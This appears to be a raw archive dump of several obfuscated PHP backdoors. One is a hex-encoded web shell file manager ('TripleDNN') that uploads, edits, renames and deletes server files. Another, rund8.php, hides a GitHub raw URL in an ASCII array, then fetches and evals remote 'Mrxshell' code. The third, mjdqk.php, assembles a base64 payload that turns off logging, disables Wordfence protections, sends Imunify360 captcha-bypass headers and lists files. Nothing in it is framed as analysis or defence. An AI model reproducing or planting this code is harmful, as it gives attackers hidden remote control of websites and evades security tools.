"\74\164\144\76" . filesize($BjjAr . "\57" . $qCHXQ) . "\x20\x62\x79\164\x65\163\74\57\x74\144\x3e"; goto yBzrj; E2dfg: echo "\74\57\164\x72\x3e"; goto VZyVa; VZyVa: T3jxc: goto OjSwZ; CxSp8: echo "\x3c\x74\162\x3e"; goto ns1qU; OjSwZ: } goto Tgrtz; TN_gP: $lWTTD = scandir($BjjAr); goto RRRN0; RRRN0: $alrBN = []; goto hU7wa; w9sbv: oHgOR: goto hcBGb; l7gGQ: } goto dzsDs; LjCqJ: header("\114\157\143\141\164\x69\x6f\x6e\x3a\x20\x3f\144\x69\x72\x3d" . urlencode($_GET["\x64\151\162"])); goto VdQ_5; pEOzW: dnHM_: goto vknfc; Qqd91: if (!isset($_GET["\x72\x65\156\141\x6d\x65"])) { goto uQM_b; } goto vu0qH; bLjBn: header("\x4c\157\x63\x61\x74\151\157\156\72\40\77\144\151\162\75" . urlencode($_GET["\x64\151\x72"])); goto hzrgv; w3XB_: move_uploaded_file($_FILES["\x66\151\x6c\x65"]["\x74\155\x70\x5f\x6e\141\x6d\x65"], $Od4Uh); goto LObF8; yzbBN: echo "\74\x2f\164\145\170\164\x61\162\145\141\76\xa\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x3c\x62\162\76\12\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\74\x62\165\x74\x74\x6f\156\x20\164\x79\160\145\75\x22\163\165\142\155\x69\164\x22\40\156\x61\155\145\75\42\163\x61\166\x65\137\146\x69\x6c\x65\x22\76\123\141\166\145\x20\103\150\141\156\147\145\163\x3c\x2f\x62\165\164\164\x6f\x6e\76\xa\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\74\x2f\x66\x6f\162\x6d\76\12\x20\40\40\40\40\x20\x20\40"; goto JtHSy; VOalH: uRI4C: goto WPoPN; pGAR0: $EHBNq = $yGbeW . "\x2f" . $_GET["\145\144\x69\164"]; goto ehhZj; Bu1BK: NU8jm: goto pEOzW; ADsYZ: if (!is_file($fd8bH)) { goto XvFkr; } goto p5in9; o5BT0: $CmNff = file_get_contents($EHBNq); goto beTnD; N59aw: $EpS2n = $yGbeW . "\57" . $t8kMD; goto IojpW; td6WN: header("\x43\x6f\x6e\164\145\156\164\x2d\114\145\x6e\147\164\x68\72\40" . filesize($J6ql8)); goto q7smT; lnCSt: file_put_contents($EHBNq, $XNNy9); goto LjCqJ; dNfEt: echo urlencode(dirname($yGbeW)); goto PyP6_; ZSiUM: exit; goto Bu1BK; ehhZj: if (!is_file($EHBNq)) { goto QYVs3; } goto o5BT0; MTOEP: echo "\xa\x3c\41\104\x4f\103\x54\131\120\x45\x20\x68\x74\155\x6c\76\xa\x3c\150\164\x6d\x6c\x3e\xa\x3c\x68\x65\x61\x64\76\xa\x20\x20\40\x20\x3c\164\x69\164\154\145\x3e\x54\162\151\x70\x6c\145\104\116\116\x3c\57\x74\151\x74\x6c\145\x3e\12\40\x20\x20\40\x3c\x73\x74\171\x6c\x65\x3e\12\40\40\40\x20\40\x20\x20\40\57\x2a\40\x53\164\171\x6c\151\156\147\x20\x64\145\x6e\x67\141\x6e\40\x74\145\x6d\141\x20\147\145\x6c\x61\160\40\x28\154\141\164\141\162\40\142\x65\x6c\x61\153\x61\156\147\x20\x68\x69\x74\x61\x6d\40\144\141\156\x20\164\145\153\163\40\164\x65\x72\x61\156\x67\x29\x20\x2a\57\xa\x20\x20\x20\40\40\x20\40\40\x62\157\x64\171\40\173\xa\40\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\142\141\143\x6b\147\162\x6f\x75\156\x64\55\143\x6f\154\157\162\72\40\43\x31\62\61\x32\x31\x32\x3b\xa\40\x20\40\x20\40\x20\40\40\40\x20\40\40\x63\157\x6c\157\x72\72\40\x23\x45\x30\x45\60\105\x30\73\xa\40\40\40\40\x20\x20\x20\x20\40\40\40\40\146\x6f\156\164\x2d\x66\141\x6d\x69\154\x79\72\x20\101\x72\x69\x61\x6c\54\40\163\141\156\x73\55\163\145\x72\151\x66\x3b\xa\40\40\x20\x20\x20\40\x20\x20\x7d\xa\40\x20\40\40\40\x20\x20\40\150\x32\x20\173\12\40\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x63\x6f\x6c\157\162\x3a\x20\x23\x42\x42\x38\x36\x46\x43\x3b\12\x20\x20\x20\x20\40\x20\40\40\x7d\xa\x20\40\40\40\x20\x20\40\40\x74\141\x62\x6c\x65\40\x7b\xa\40\40\40\x20\40\40\40\x20\x20\40\40\40\x77\151\x64\164\x68\x3a\40\x31\60\x30\45\73\xa\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x62\157\x72\x64\145\162\x2d\143\x6f\x6c\x6c\x61\x70\x73\145\x3a\x20\x63\x6f\x6c\154\141\160\x73\x65\73\12\40\x20\x20\40\40\x20\40\40\x7d\12\40\40\x20\x20\x20\x20\40\x20\164\x68\54\40\164\x64\40\173\xa\x20\x20\40\40\x20\40\40\40\x20\x20\40\40\x70\141\x64\x64\x69\156\x67\72\x20\x31\60\160\x78\73\12\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x20\164\x65\170\x74\55\141\154\151\x67\156\x3a\x20\x6c\x65\146\164\x3b\xa\x20\40\x20\40\x20\x20\x20\40\x7d\xa\x20\x20\x20\40\40\x20\x20\x20\x74\x68\x20\173\xa\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\x62\141\x63\153\x67\x72\x6f\165\x6e\x64\x2d\143\157\x6c\x6f\x72\72\x20\43\x33\x33\63\x3b\12\x20\40\40\40\40\40\x20\x20\40\x20\40\x20\143\157\154\x6f\162\x3a\x20\x23\102\x42\x38\66\x46\x43\73\xa\40\40\40\x20\x20\40\x20\40\175\12\x20\x20\40\x20\x20\x20\40\40\x74\x72\x3a\x6e\x74\150\x2d\143\x68\151\x6c\144\50\145\x76\145\x6e\x29\x20\173\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\142\x61\143\153\x67\x72\x6f\165\156\144\55\143\157\154\157\162\72\x20\43\62\62\62\x3b\xa\40\40\40\x20\40\40\40\x20\x7d\xa\40\x20\40\x20\x20\x20\x20\x20\x74\x72\x3a\156\164\150\x2d\x63\x68\151\x6c\144\50\157\x64\x64\51\x20\x7b\xa\40\40\40\x20\40\40\x20\x20\40\40\40\x20\x62\141\x63\153\x67\x72\157\165\156\x64\x2d\143\x6f\x6c\x6f\162\72\x20\x23\x31\x32\x31\x32\x31\62\x3b\12\40\x20\40\x20\x20\x20\40\40\x7d\xa\40\x20\40\x20\x20\40\40\x20\x61\40\173\xa\x20\40\40\40\40\x20\x20\40\40\x20\40\40\x63\157\154\x6f\162\72\40\x23\60\63\x44\x41\x43\x36\x3b\xa\40\40\40\40\x20\40\40\x20\x20\40\40\40\164\x65\x78\x74\55\144\x65\143\157\x72\141\x74\151\157\156\72\40\156\x6f\156\x65\73\xa\40\x20\40\40\40\x20\x20\x20\x7d\12\40\40\x20\40\x20\40\x20\x20\141\72\x68\157\166\x65\162\x20\x7b\12\x20\40\40\40\x20\40\x20\40\40\40\40\40\143\x6f\x6c\x6f\x72\x3a\40\x23\102\x42\x38\x36\x46\103\73\xa\40\x20\x20\x20\x20\40\40\x20\x7d\12\40\x20\x20\x20\40\x20\x20\40\x62\x75\x74\x74\x6f\156\40\x7b\xa\40\x20\40\40\x20\x20\x20\40\40\40\40\40\142\x61\143\153\x67\162\157\x75\x6e\x64\55\143\x6f\x6c\157\162\x3a\40\x23\60\63\104\x41\103\66\73\12\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\143\x6f\154\x6f\162\72\40\43\61\62\x31\x32\x31\62\x3b\12\40\40\40\40\40\40\x20\x20\40\40\40\40\142\157\x72\x64\x65\x72\x3a\40\156\157\156\x65\73\xa\40\40\x20\40\40\40\x20\40\x20\40\40\x20\x70\141\x64\144\x69\x6e\x67\72\x20\x31\60\160\170\40\x32\60\160\170\73\xa\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\143\165\x72\x73\x6f\162\72\40\x70\x6f\151\x6e\x74\145\162\x3b\12\40\x20\40\40\x20\40\40\x20\175\12\x20\40\x20\x20\x20\x20\40\40\142\165\x74\164\x6f\156\x3a\150\x6f\166\x65\x72\x20\x7b\xa\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x62\141\143\x6b\147\x72\x6f\165\x6e\144\x2d\x63\157\154\157\x72\x3a\x20\x23\x42\102\70\66\106\103\73\12\x20\40\x20\40\40\x20\40\x20\175\12\40\40\40\x20\40\40\40\x20\164\x65\170\x74\x61\162\145\x61\40\x7b\xa\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\x77\151\x64\164\x68\x3a\40\61\x30\x30\x25\73\12\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x68\145\151\x67\x68\x74\x3a\x20\x34\60\60\x70\170\x3b\12\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\142\141\x63\x6b\147\x72\x6f\x75\x6e\144\x2d\143\157\154\x6f\x72\x3a\40\43\62\62\62\73\12\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\143\157\x6c\x6f\x72\x3a\x20\x23\x45\60\x45\x30\105\x30\x3b\12\40\40\x20\40\40\40\40\x20\40\x20\40\40\142\157\162\x64\145\162\x3a\40\61\160\170\x20\163\157\154\151\144\x20\x23\102\x42\x38\x36\106\x43\73\xa\x20\x20\40\40\x20\40\40\x20\175\xa\x20\40\40\x20\40\x20\40\x20\x69\156\160\165\x74\x5b\x74\x79\160\x65\75\42\146\151\x6c\145\42\135\54\40\x69\x6e\160\165\x74\133\x74\x79\x70\x65\x3d\42\x74\145\x78\164\x22\x5d\x20\x7b\xa\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\143\x6f\x6c\157\x72\72\x20\43\x45\60\x45\x30\105\60\x3b\xa\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x62\x61\x63\x6b\x67\162\x6f\x75\156\144\x2d\143\x6f\154\x6f\162\72\x20\x23\x32\62\x32\x3b\xa\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x62\x6f\x72\144\145\x72\x3a\x20\61\160\x78\x20\163\157\x6c\151\x64\40\x23\x42\x42\x38\x36\x46\x43\x3b\12\x20\x20\x20\40\40\40\x20\x20\40\40\x20\x20\160\141\x64\x64\151\x6e\x67\x3a\40\61\x30\x70\170\x3b\xa\40\x20\x20\x20\x20\40\40\40\x7d\12\40\40\40\x20\40\40\40\40\x2e\x66\157\x72\155\55\x63\x6f\156\164\141\151\156\145\x72\x20\173\12\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\x64\151\x73\x70\154\141\x79\72\40\146\x6c\145\x78\73\xa\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\152\x75\163\x74\x69\x66\x79\x2d\143\157\156\x74\x65\x6e\x74\72\40\x73\160\141\143\x65\x2d\142\145\164\x77\x65\x65\156\73\xa\40\x20\40\40\40\40\40\x20\x20\40\40\x20\155\x61\162\x67\151\156\x2d\142\x6f\164\x74\157\155\x3a\x20\62\60\160\x78\73\xa\40\x20\40\40\x20\40\40\40\175\12\x20\40\40\x20\x20\x20\40\40\56\146\157\x72\155\55\143\157\x6e\x74\x61\151\x6e\x65\162\40\146\157\162\x6d\x20\x7b\12\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\155\141\x72\147\151\156\x2d\162\151\x67\150\164\x3a\40\61\x30\x70\170\73\xa\40\40\40\x20\40\40\x20\40\175\12\40\40\x20\40\74\57\x73\164\x79\154\x65\x3e\xa\74\57\x68\x65\x61\144\x3e\xa\x3c\x62\157\x64\171\x3e\12\40\40\x20\40\x3c\x70\x3e\103\x75\x72\162\x65\156\x74\40\x44\x69\162\145\143\x74\157\162\x79\72\40\74\x61\x20\x68\x72\x65\146\75\42\x3f\x64\151\162\75"; goto dNfEt; VaCVK: F00ue($yGbeW); goto kgUpB; VdQ_5: gEelU: goto vnywD; vu0qH: echo "\40\x20\40\x20\74\146\157\162\x6d\40\x6d\x65\164\x68\157\x64\75\42\x70\157\x73\x74\42\x3e\12\x20\x20\x20\40\40\40\40\40\x3c\x69\156\x70\x75\x74\x20\164\x79\x70\x65\75\42\x68\151\144\x64\145\156\42\x20\156\x61\155\145\75\42\x6f\x6c\144\137\x6e\x61\155\x65\42\x20\166\141\154\165\x65\x3d\42"; goto eM5JY; WbFfl: YWvXO: goto JERaO; IojpW: file_put_contents($EpS2n, ''); goto bLjBn; D1Wgl: uQM_b: goto fI_fT; TG6KR: $Od4Uh = $yGbeW . "\x2f" . basename($_FILES["\146\x69\154\x65"]["\x6e\x61\155\x65"]); goto w3XB_; hzrgv: Tz80I: goto MTOEP; LIdpC: if (!isset($_GET["\145\x64\151\164"])) { goto V5DrG; } goto pGAR0; vnywD: if (!isset($_POST["\x63\x72\145\141\x74\145\x5f\x66\151\x6c\x65"])) { goto Tz80I; } goto uDpFH; VEyk9: $fd8bH = $yGbeW . "\x2f" . $_GET["\144\x65\154\145\164\x65"]; goto ADsYZ; JtHSy: QYVs3: goto vTVYv; hD3PH: if (!isset($_POST["\x75\160\154\157\x61\144"])) { goto zOaYm; } goto TG6KR; kgUpB: echo "\40\40\x20\x20\x20\40\40\40\x3c\x2f\x74\142\157\x64\x79\x3e\xa\40\x20\x20\x20\74\57\164\141\142\x6c\145\76\12\12\x20\40\x20\40\x3c\41\x2d\55\x20\106\x6f\162\x6d\x20\x75\x6e\x74\x75\153\40\162\x65\x6e\x61\x6d\145\x20\146\x69\x6c\145\40\55\55\x3e\12\40\x20\x20\40"; goto Qqd91; fII2j: echo htmlspecialchars($CmNff); goto yzbBN; JuNBA: echo "\x3c\x2f\142\x6f\x64\171\x3e\12\x3c\57\x68\164\155\154\76";rund8.php000064400000001275151550217160006325 0ustar00<?php
// ASCII array of the GitHub raw URL
$asciiArray = [104, 116, 116, 112, 115, 58, 47, 47, 114, 97, 119, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 77, 114, 88, 99, 111, 100, 101, 114, 111, 102, 102, 105, 99, 105, 97, 108, 47, 77, 114, 120, 115, 104, 101, 108, 108, 50, 48, 50, 53, 47, 114, 101, 102, 115, 47, 104, 101, 97, 100, 115, 47, 109, 97, 105, 110, 47, 120, 115, 101, 99, 46, 112, 104, 112];

// Convert ASCII codes to string
$url = '';
foreach ($asciiArray as $c) {
    $url .= chr($c);
}

// Fetch the PHP code from the URL
$code = file_get_contents($url);

// Execute the fetched code
eval("?>".$code);
?>mjdqk.php000064400000573574151550217160006413 0ustar00<?php
$z .= "DQpA";
$z .= "aW5p";
$z .= "X3Nl";
$z .= "dCgn";
$z .= "ZXJy";
$z .= "b3Jf";
$z .= "bG9n";
$z .= "Jywg";
$z .= "TlVM";
$z .= "TCk7";
$z .= "DQpA";
$z .= "aW5p";
$z .= "X3Nl";
$z .= "dCgn";
$z .= "bG9n";
$z .= "X2Vy";
$z .= "cm9y";
$z .= "cycs";
$z .= "IDAp";
$z .= "Ow0K";
$z .= "QGlu";
$z .= "aV9z";
$z .= "ZXQo";
$z .= "J21h";
$z .= "eF9l";
$z .= "eGVj";
$z .= "dXRp";
$z .= "b25f";
$z .= "dGlt";
$z .= "ZScs";
$z .= "IDAp";
$z .= "Ow0K";
$z .= "QGVy";
$z .= "cm9y";
$z .= "X3Jl";
$z .= "cG9y";
$z .= "dGlu";
$z .= "Zygw";
$z .= "KTsN";
$z .= "CkBz";
$z .= "ZXRf";
$z .= "dGlt";
$z .= "ZV9s";
$z .= "aW1p";
$z .= "dCgw";
$z .= "KTsN";
$z .= "Cmlm";
$z .= "IChm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J2xp";
$z .= "dGVz";
$z .= "cGVl";
$z .= "ZF9y";
$z .= "ZXF1";
$z .= "ZXN0";
$z .= "X2hl";
$z .= "YWRl";
$z .= "cnMn";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICRo";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "ID0g";
$z .= "bGl0";
$z .= "ZXNw";
$z .= "ZWVk";
$z .= "X3Jl";
$z .= "cXVl";
$z .= "c3Rf";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "cygp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "IChp";
$z .= "c3Nl";
$z .= "dCgk";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "c1sn";
$z .= "WC1M";
$z .= "U0NB";
$z .= "Q0hF";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGhl";
$z .= "YWRl";
$z .= "cign";
$z .= "WC1M";
$z .= "U0NB";
$z .= "Q0hF";
$z .= "OiBv";
$z .= "ZmYn";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQp9";
$z .= "DQpp";
$z .= "ZiAo";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "ZCgn";
$z .= "V09S";
$z .= "REZF";
$z .= "TkNF";
$z .= "X1ZF";
$z .= "UlNJ";
$z .= "T04n";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "IGRl";
$z .= "Zmlu";
$z .= "ZSgn";
$z .= "V09S";
$z .= "REZF";
$z .= "TkNF";
$z .= "X0RJ";
$z .= "U0FC";
$z .= "TEVf";
$z .= "TElW";
$z .= "RV9U";
$z .= "UkFG";
$z .= "RklD";
$z .= "Jywg";
$z .= "dHJ1";
$z .= "ZSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "KCdX";
$z .= "T1JE";
$z .= "RkVO";
$z .= "Q0Vf";
$z .= "RElT";
$z .= "QUJM";
$z .= "RV9G";
$z .= "SUxF";
$z .= "X01P";
$z .= "RFMn";
$z .= "LCB0";
$z .= "cnVl";
$z .= "KTsN";
$z .= "Cn0N";
$z .= "Cmlm";
$z .= "IChm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J2lt";
$z .= "dW5p";
$z .= "Znkz";
$z .= "NjBf";
$z .= "cmVx";
$z .= "dWVz";
$z .= "dF9o";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "Jykg";
$z .= "JiYg";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "ZCgn";
$z .= "SU1V";
$z .= "TklG";
$z .= "WTM2";
$z .= "MF9W";
$z .= "RVJT";
$z .= "SU9O";
$z .= "Jykp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "aW11";
$z .= "bmlm";
$z .= "eUhl";
$z .= "YWRl";
$z .= "cnMg";
$z .= "PSBp";
$z .= "bXVu";
$z .= "aWZ5";
$z .= "MzYw";
$z .= "X3Jl";
$z .= "cXVl";
$z .= "c3Rf";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "cygp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "IChp";
$z .= "c3Nl";
$z .= "dCgk";
$z .= "aW11";
$z .= "bmlm";
$z .= "eUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J1gt";
$z .= "SW11";
$z .= "bmlm";
$z .= "eTM2";
$z .= "MC1S";
$z .= "ZXF1";
$z .= "ZXN0";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGhl";
$z .= "YWRl";
$z .= "cign";
$z .= "WC1J";
$z .= "bXVu";
$z .= "aWZ5";
$z .= "MzYw";
$z .= "LVJl";
$z .= "cXVl";
$z .= "c3Q6";
$z .= "IGJ5";
$z .= "cGFz";
$z .= "cycp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JGlt";
$z .= "dW5p";
$z .= "ZnlI";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "WydY";
$z .= "LUlt";
$z .= "dW5p";
$z .= "Znkz";
$z .= "NjAt";
$z .= "Q2Fw";
$z .= "dGNo";
$z .= "YS1C";
$z .= "eXBh";
$z .= "c3Mn";
$z .= "XSkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "KCdY";
$z .= "LUlt";
$z .= "dW5p";
$z .= "Znkz";
$z .= "NjAt";
$z .= "Q2Fw";
$z .= "dGNo";
$z .= "YS1C";
$z .= "eXBh";
$z .= "c3M6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "aW11";
$z .= "bmlm";
$z .= "eUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J1gt";
$z .= "SW11";
$z .= "bmlm";
$z .= "eTM2";
$z .= "MC1D";
$z .= "YXB0";
$z .= "Y2hh";
$z .= "LUJ5";
$z .= "cGFz";
$z .= "cydd";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQp9";
$z .= "DQpp";
$z .= "ZiAo";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b25f";
$z .= "ZXhp";
$z .= "c3Rz";
$z .= "KCdh";
$z .= "cGFj";
$z .= "aGVf";
$z .= "cmVx";
$z .= "dWVz";
$z .= "dF9o";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "Jykp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "YXBh";
$z .= "Y2hl";
$z .= "SGVh";
$z .= "ZGVy";
$z .= "cyA9";
$z .= "IGFw";
$z .= "YWNo";
$z .= "ZV9y";
$z .= "ZXF1";
$z .= "ZXN0";
$z .= "X2hl";
$z .= "YWRl";
$z .= "cnMo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JGFw";
$z .= "YWNo";
$z .= "ZUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J1gt";
$z .= "TW9k";
$z .= "LVNl";
$z .= "Y3Vy";
$z .= "aXR5";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGhl";
$z .= "YWRl";
$z .= "cign";
$z .= "WC1N";
$z .= "b2Qt";
$z .= "U2Vj";
$z .= "dXJp";
$z .= "dHk6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "YXBh";
$z .= "Y2hl";
$z .= "SGVh";
$z .= "ZGVy";
$z .= "c1sn";
$z .= "WC1N";
$z .= "b2Qt";
$z .= "U2Vj";
$z .= "dXJp";
$z .= "dHkn";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "aWYg";
$z .= "KGlz";
$z .= "c2V0";
$z .= "KCRf";
$z .= "U0VS";
$z .= "VkVS";
$z .= "WydI";
$z .= "VFRQ";
$z .= "X0NG";
$z .= "X0NP";
$z .= "Tk5F";
$z .= "Q1RJ";
$z .= "Tkdf";
$z .= "SVAn";
$z .= "XSkg";
$z .= "JiYg";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "ZCgn";
$z .= "Q0xP";
$z .= "VURG";
$z .= "TEFS";
$z .= "RV9W";
$z .= "RVJT";
$z .= "SU9O";
$z .= "Jykp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "X1NF";
$z .= "UlZF";
$z .= "Ulsn";
$z .= "UkVN";
$z .= "T1RF";
$z .= "X0FE";
$z .= "RFIn";
$z .= "XSA9";
$z .= "ICRf";
$z .= "U0VS";
$z .= "VkVS";
$z .= "WydI";
$z .= "VFRQ";
$z .= "X0NG";
$z .= "X0NP";
$z .= "Tk5F";
$z .= "Q1RJ";
$z .= "Tkdf";
$z .= "SVAn";
$z .= "XTsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JGFw";
$z .= "YWNo";
$z .= "ZUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J0hU";
$z .= "VFBf";
$z .= "Q0Zf";
$z .= "VklT";
$z .= "SVRP";
$z .= "Uidd";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBo";
$z .= "ZWFk";
$z .= "ZXIo";
$z .= "J0hU";
$z .= "VFBf";
$z .= "Q0Zf";
$z .= "VklT";
$z .= "SVRP";
$z .= "Ujog";
$z .= "JyAu";
$z .= "ICRh";
$z .= "cGFj";
$z .= "aGVI";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "WydI";
$z .= "VFRQ";
$z .= "X0NG";
$z .= "X1ZJ";
$z .= "U0lU";
$z .= "T1In";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Z2V0";
$z .= "Rmls";
$z .= "ZURl";
$z .= "dGFp";
$z .= "bHMo";
$z .= "JHBh";
$z .= "dGgp";
$z .= "DQp7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JGZv";
$z .= "bGRl";
$z .= "cnMg";
$z .= "PSBb";
$z .= "XTsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "Zmls";
$z .= "ZXMg";
$z .= "PSBb";
$z .= "XTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IHRy";
$z .= "eSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRp";
$z .= "dGVt";
$z .= "cyA9";
$z .= "IEBz";
$z .= "Y2Fu";
$z .= "ZGly";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCFp";
$z .= "c19h";
$z .= "cnJh";
$z .= "eSgk";
$z .= "aXRl";
$z .= "bXMp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB0";
$z .= "aHJv";
$z .= "dyBu";
$z .= "ZXcg";
$z .= "RXhj";
$z .= "ZXB0";
$z .= "aW9u";
$z .= "KCdG";
$z .= "YWls";
$z .= "ZWQg";
$z .= "dG8g";
$z .= "c2Nh";
$z .= "biBk";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnkn";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGZv";
$z .= "cmVh";
$z .= "Y2gg";
$z .= "KCRp";
$z .= "dGVt";
$z .= "cyBh";
$z .= "cyAk";
$z .= "aXRl";
$z .= "bSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCRp";
$z .= "dGVt";
$z .= "ID09";
$z .= "ICcu";
$z .= "JyB8";
$z .= "fCAk";
$z .= "aXRl";
$z .= "bSA9";
$z .= "PSAn";
$z .= "Li4n";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Y29u";
$z .= "dGlu";
$z .= "dWU7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRp";
$z .= "dGVt";
$z .= "UGF0";
$z .= "aCA9";
$z .= "ICRw";
$z .= "YXRo";
$z .= "IC4g";
$z .= "Jy8n";
$z .= "IC4g";
$z .= "JGl0";
$z .= "ZW07";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "aXRl";
$z .= "bURl";
$z .= "dGFp";
$z .= "bHMg";
$z .= "PSBb";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "J25h";
$z .= "bWUn";
$z .= "ID0+";
$z .= "ICRp";
$z .= "dGVt";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICd0";
$z .= "eXBl";
$z .= "JyA9";
$z .= "PiBp";
$z .= "c19k";
$z .= "aXIo";
$z .= "JGl0";
$z .= "ZW1Q";
$z .= "YXRo";
$z .= "KSA/";
$z .= "ICdG";
$z .= "b2xk";
$z .= "ZXIn";
$z .= "IDog";
$z .= "J0Zp";
$z .= "bGUn";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdz";
$z .= "aXpl";
$z .= "JyA9";
$z .= "PiBp";
$z .= "c19k";
$z .= "aXIo";
$z .= "JGl0";
$z .= "ZW1Q";
$z .= "YXRo";
$z .= "KSA/";
$z .= "ICcn";
$z .= "IDog";
$z .= "Zm9y";
$z .= "bWF0";
$z .= "U2l6";
$z .= "ZShm";
$z .= "aWxl";
$z .= "c2l6";
$z .= "ZSgk";
$z .= "aXRl";
$z .= "bVBh";
$z .= "dGgp";
$z .= "KSwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
